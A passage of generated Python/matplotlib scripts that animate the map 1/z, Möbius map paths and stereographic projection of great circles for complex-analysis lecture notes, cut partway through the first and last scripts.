title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$1/z$: circles and lines -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Theorem 11.3, p. 54 (ch11:75); Example 11.4 and plate, p. 55 (ch11:127, 141); Example 11.5, p. 55 (ch11:167); Corollary 11.8 and Remark 11.9, p. 56 (ch11:267, 281)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (1/z)
R = 8.0                      # curves are cut beyond this radius
LIMITS = (-2.5, 2.5, -2.5, 2.5)
SUB = 'every point moves in a straight line from $z$ to $1/z$'
TITLE = '$w=(1-s)\\,z+s\\,\\frac{1}{z},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-2, 2, -2, 2, 9, 9)
AVOID = [0]
EXTRAS = [('1+1j*(-8+16*u)', 'tab:green')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$1/z$: circles and lines -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Theorem 11.3, p. 54 (ch11:75); Example 11.4 and plate, p. 55 (ch11:127, 141); Example 11.5, p. 55 (ch11:167); Corollary 11.8 and Remark 11.9, p. 56 (ch11:267, 281)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: mob(mpow([[0, 1], [1, 0]], s), z)
R = 8.0                      # curves are cut beyond this radius
LIMITS = (-2.5, 2.5, -2.5, 2.5)
SUB = 'a rotation of the Riemann sphere: circles and lines stay circles and lines;\nthe line $x=1$ (green) becomes $|w-\\frac{1}{2}|=\\frac{1}{2}$'
TITLE = '$w=M^{s}(z),\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-2, 2, -2, 2, 9, 9)
AVOID = [0]
EXTRAS = [('1+1j*(-8+16*u)', 'tab:green')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$1/z$: circles and lines -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Theorem 11.3, p. 54 (ch11:75); Example 11.4 and plate, p. 55 (ch11:127, 141); Example 11.5, p. 55 (ch11:167); Corollary 11.8 and Remark 11.9, p. 56 (ch11:267, 281)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: mob(mpow([[0, 1], [1, 0]], s), z)
R = 8.0                      # curves are cut beyond this radius
LIMITS = (-0.45, 1.65, -1.05, 1.05)
SUB = 'the half-plane $\\mathrm{Re}\\,z>1$ onto the disc $|w-\\frac{1}{2}|<\\frac{1}{2}$ (Example 11.5)'
TITLE = '$w=M^{s}(z),\\quad s=%.2f$'
TILEKIND, TILEARGS = 'cart', (1, 4, -2, 2, 6, 8)
HILITE = [20, 27]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Stereographic projection, version 2: a tilting great circle, sphere and plane side by side.
The great circle with unit normal m = (m1, m2, m3) is the set m . xi = 0 on the sphere. Substituting
the inverse of Pi(xi) = (xi1 + i xi2)/(1 - xi3) shows that its image is the circle
    |w + (m1 + i m2)/m3| = 1/|m3|        (a line through 0 when m3 = 0, i.e. through N).
Left: the great circle tilts and turns. Right: its projected points (dots) and the circle given by
this formula (solid) coincide; it always crosses the unit circle at the two opposite points where the
great circle crosses the equator.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
ELEV, AZIM = 24, -60
VIEW = np.array([np.cos(np.radians(ELEV)) * np.cos(np.radians(AZIM)),
                 np.cos(np.radians(ELEV)) * np.sin(np.radians(AZIM)), np.sin(np.radians(ELEV))])
u = np.linspace(0, 2 * np.pi, 240)


def great_circle(m, t):
    a = np.cross(m, [0, 0, 1.0]); a = a / np.linalg.norm(a) if np.linalg.norm(a) > 1e-9 else np.array([1.0, 0, 0])
    b = np.cross(m, a)
    return np.outer(np.cos(t), a) + np.outer(np.sin(t), b)


def proj(P):
    with np.errstate(divide="ignore", invalid="ignore"):
        return (P[..., 0] + 1j * P[..., 1]) / (1 - P[..., 2])


def front_back(P):
    vis = P @ VIEW > -0.05
    F, B = P.copy(), P.copy()
    F[~vis] = np.nan; B[vis] = np.nan
    return F, B


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
NF = 110
S = np.linspace(0, 1, NF)
TILT = 8 + 82 * ease(np.minimum(S / 0.8, 1))                # degrees from the equator: 8 -> 90
TURN = 360 * S                                             # the direction of the tilt turns round
SCHED = list(range(NF)) + [NF - 1] * 12 + list(range(NF - 1, -1, -1)) + [0] * 8
L = 4.2

fig = plt.figure(figsize=(10.4, 5.4))
ax = fig.add_axes([-0.04, 0.0, 0.52, 0.86], projection="3d")
px = fig.add_axes([0.53, 0.08, 0.44, 0.76])
ax.set_xlim(-1, 1); ax.set_ylim(-1, 1); ax.set_zlim(-1, 1)
ax.set_box_aspect((1, 1, 1), zoom=1.3); ax.view_init(ELEV, AZIM); ax.axis("off")
for lat in (-60, -30, 0, 30, 60):
    P = np.c_[np.cos(np.radians(lat)) * np.cos(u), np.cos(np.radians(lat)) * np.sin(u), np.full_like(u, np.sin(np.radians(lat)))]
    F, B = front_back(P)
    col, lw = ("k", 1.2) if lat == 0 else ("0.72", 0.5)
    ax.plot(*F.T, color=col, lw=lw); ax.plot(*B.T, color=col, lw=lw * 0.7, ls=":", alpha=0.6)
for lon in range(0, 180, 30):
    P = np.c_[np.cos(u) * np.cos(np.radians(lon)), np.cos(u) * np.sin(np.radians(lon)), np.sin(u)]
    F, B = front_back(P)
    ax.plot(*F.T, color="0.72", lw=0.5); ax.plot(*B.T, color="0.72", lw=0.35, ls=":", alpha=0.6)
ax.scatter(0, 0, 1, color="k", s=28, depthshade=False); ax.text(0.06, 0, 1.1, "$N$", fontsize=13)
px.set_xlim(-L, L); px.set_ylim(-L, L); px.set_aspect("equal"); px.tick_params(labelsize=8)
px.axhline(0, color="0.85", lw=0.8); px.axvline(0, color="0.85", lw=0.8)
px.plot(np.cos(u), np.sin(u), color="k", lw=1.2)
px.text(0.72, -1.05, "unit circle\n(the equator)", fontsize=8.5, color="0.3", va="top")
live = []
title = fig.text(0.5, 0.95, "", ha="center", fontsize=13)
fig.text(0.5, 0.905, "image of the great circle $m\\cdot\\xi=0$:  the circle $|w+(m_1+im_2)/m_3|=1/|m_3|$,"
         "  a line through $0$ when $m_3=0$", ha="center", fontsize=10.5, color="0.35")


def frame(k):
    j = SCHED[k % len(SCHED)]
    while live:
        live.pop().remove()
    a, b = np.radians(TILT[j]), np.radians(TURN[j])
    m = np.array([np.sin(a) * np.cos(b), np.sin(a) * np.sin(b), np.cos(a)])
    P = great_circle(m, u)
    F, B = front_back(P)
    live.extend(ax.plot(*F.T, color="tab:red", lw=2.4)); live.extend(ax.plot(*B.T, color="tab:red", lw=1.2, ls=":"))
    e = great_circle(m, np.array([0, np.pi]))
    live.append(ax.scatter(e[:, 0], e[:, 1], e[:, 2], color="k", marker="s", s=24, depthshade=False))
    w = proj(great_circle(m, np.linspace(0, 2 * np.pi, 48, endpoint=False) + 0.03))
    live.extend(px.plot(w.real, w.imag, "o", color="tab:red", ms=3.5))       # projected points
    if abs(m[2]) > 1e-6:                                                     # the formula's circle
        c, r = -(m[0] + 1j * m[1]) / m[2], 1 / abs(m[2])
        live.extend(px.plot(c.real + r * np.cos(u), c.imag + r * np.sin(u), color="tab:red", lw=1.3, alpha=0.7))
        live.append(px.plot([c.real], [c.imag], "+", color="tab:red", ms=8)[0])
        txt = "centre $%.2f%+.2fi$, radius $%.2f$" % (c.real, c.imag, r)
    else:
        d = np.array([-m[1], m[0]]); live.extend(px.plot([-L * d[0] * 2, L * d[0] * 2], [-L * d[1] * 2, L * d[1] * 2], color="tab:red", lw=1.3))
        txt = "through $N$: a line through $0$"
    live.append(px.scatter(e[:, 0], e[:, 1], color="k", marker="s", s=24, zorder=5))
    live.append(px.text(-L + 0.2, L - 0.5, txt, fontsize=10.5))
    title.set_text("a great circle tilted %d$^\\circ$ from the equator, and its stereographic image" % round(TILT[j]))


if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=75)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(45)
    fig.savefig("stereo2_tilt_poster.pdf")



"""Stereographic projection, version 3: the sphere turns, and great circles stay circles.
A net of great circles -- six through two opposite points P and -P (like meridians) and the one
halfway between them (like an equator) -- is drawn on the sphere, which turns rigidly about the
xi1-axis. In the plane, every great circle through P and -P projects to a circle through Pi(P) and
Pi(-P) = -1/conj(Pi(P)), and the 'equator' to a circle crossing all of them at right angles. As the
sphere turns the picture changes, but circles stay circles. (Turning by 180 degrees about the
xi1-axis is z -> 1/z; see Remark 11.9 and Exercise 11.3.)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
ELEV, AZIM = 22, -62
VIEW = np.array([np.cos(np.radians(ELEV)) * np.cos(np.radians(AZIM)),
                 np.cos(np.radians(ELEV)) * np.sin(np.radians(AZIM)), np.sin(np.radians(ELEV))])
u = np.linspace(0, 2 * np.pi, 360)
P0 = np.array([0.35, 0.55, 0.76]); P0 /= np.linalg.norm(P0)        # the two opposite points P0, -P0
e1 = np.cross(P0, [1.0, 0, 0]); e1 /= np.linalg.norm(e1); e2 = np.cross(P0, e1)
NET = []
for k in range(6):                                                 # great circles through P0 and -P0
    d = np.cos(np.pi * k / 6) * e1 + np.sin(np.pi * k / 6) * e2
    NET.append((np.outer(np.cos(u), P0) + np.outer(np.sin(u), d), plt.cm.viridis(k / 6)))
NET.append((np.outer(np.cos(u), e1) + np.outer(np.sin(u), e2), "tab:red"))   # halfway between P0 and -P0


def rot(t):                                                        # turning by angle t about the xi1-axis
    c, s = np.cos(t), np.sin(t)
    return np.array([[1, 0, 0], [0, c, -s], [0, s, c]])


def proj(P):
    with np.errstate(divide="ignore", invalid="ignore"):
        return (P[..., 0] + 1j * P[..., 1]) / (1 - P[..., 2])


def front_back(P):
    vis = P @ VIEW > -0.05
    F, B = P.copy(), P.copy()
    F[~vis] = np.nan; B[vis] = np.nan
    return F, B


def cut(w, R=12):
    w = w.copy()
    w[(np.abs(w) > R) | np.r_[False, np.abs(np.diff(w)) > 2]] = np.nan
    return w


NF = 150
ANG = np.linspace(0, 2 * np.pi, NF, endpoint=False)
L = 3.2

fig = plt.figure(figsize=(10.4, 5.4))
ax = fig.add_axes([-0.04, 0.0, 0.52, 0.86], projection="3d")
